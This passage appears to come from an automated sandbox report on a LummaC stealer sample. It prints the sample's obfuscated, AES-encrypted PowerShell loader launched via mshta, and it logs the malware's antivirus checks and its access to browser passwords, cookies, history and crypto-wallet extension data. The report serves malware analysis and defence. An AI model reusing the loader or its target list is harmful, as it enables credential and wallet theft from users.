bb7b1179bd528ca17b1c6d0b390408ece7927feaa32ea4faf5b6249a55c0bb8fce630bbe9577950a1c82ceb3f5b1cc3b4d16d0dd85009c2c1593600e9ad124bd3e71f96e9ecc581d41a94b73c3a20bf4550fa7e08728a080d7a6a09ff218a0a37cdf4ef3f6a50ccc9ddee0d24287949b372601ca8769a11092428566941e5e81dc734a344a92e5b54939a7b808ea27414a69bece50356ada32af76c66a7eed81ff79a3208ea6ca1e28d54700ab34fb6270b5b4ec13da50ebf0b9bbab023861142203272d6112a5a6d9726b68ef794031846478bc822c4c0391f73ad6dd169dcdf33d909e115bcfb9021a0d74abb583032ac14edaf563eb221f82dbe70815740f8f4f65b3993b4805f2f8ded176ef03650d5ba2d74e1919becb701a86b2332083bfbe1c6d8903ab78e68721c77f780c3596edc51e77');$jamaa=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((esnny('49446f52676d7356434761614a6e6878')),[byte[]]::new(16)).transformfinalblock($lqmb,0,$lqmb.length)); & $jamaa.substring(0,3) $jamaa.substring(129)
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function esnny($mavcz){return -split ($mavcz -replace '..', '0x$& ')};$lqmb = esnny('5c3f827bac65b5d2c8965d0bbce1ed07b9b6786a8751f026d08efd0a825f531a8d091c0ecdd11b3934b46c626b865735bab41b512be15de11f5e12515f7078b31ee8399c0e805b1f986b48cd1fe4a4708fa30b93ca4f7e812ca54a8793d62d3598e2b95af0842b9c9750010609af477848f4d131b954661400575166055c03ef1b5de596cf55c542063d3f91ce19ce97925e58f6c32246a890129f4332d50885100c3526774d0074eec5d7a612d64456e89e2aad35e8f4dcb634817b8f6e0ac4fa605341c50069355f250adb57d33d199e78edcf80294758e47cb522edfffe73cc1b919ef16af41e32f5b6a9bf909ae30ceb1071e2d14015fb77f6298ff2b02feba7b2bee205f03cf88ff6f6bebeec0309a6d27d56500b79add62dd9d50a9590f07c9425ff02c2062f0e3444952489ce539fe357b044d8f72560487a102cc157f9e4e5b39d9c8def45655607c7a2fdb595ecbd612595fe995c4b043f8955a8f51fb018d2638c4f3a04e4ce1f6f77607e28264761f8517127e32f9f8d159565861f352d53ed7157874f263f52a7e1025a408cacc8b208e7f7776300701055fd3d6c30ca49783c822471e5b37491da64e22eca5aceae2c26465a1465f8774b5536298c89dbc028cd0ae43dbabb7b1179bd528ca17b1c6d0b390408ece7927feaa32ea4faf5b6249a55c0bb8fce630bbe9577950a1c82ceb3f5b1cc3b4d16d0dd85009c2c1593600e9ad124bd3e71f96e9ecc581d41a94b73c3a20bf4550fa7e08728a080d7a6a09ff218a0a37cdf4ef3f6a50ccc9ddee0d24287949b372601ca8769a11092428566941e5e81dc734a344a92e5b54939a7b808ea27414a69bece50356ada32af76c66a7eed81ff79a3208ea6ca1e28d54700ab34fb6270b5b4ec13da50ebf0b9bbab023861142203272d6112a5a6d9726b68ef794031846478bc822c4c0391f73ad6dd169dcdf33d909e115bcfb9021a0d74abb583032ac14edaf563eb221f82dbe70815740f8f4f65b3993b4805f2f8ded176ef03650d5ba2d74e1919becb701a86b2332083bfbe1c6d8903ab78e68721c77f780c3596edc51e77');$jamaa=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((esnny('49446f52676d7356434761614a6e6878')),[byte[]]::new(16)).transformfinalblock($lqmb,0,$lqmb.length)); & $jamaa.substring(0,3) $jamaa.substring(129)			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: powershell.exe, 0000000C.00000002.2806243340.0000000005858000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: \Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 0000000C.00000002.2800133767.0000000003447000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003447000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003447000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: powershell.exe, 00000000.00000002.1709546861.00007FFD9B9A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
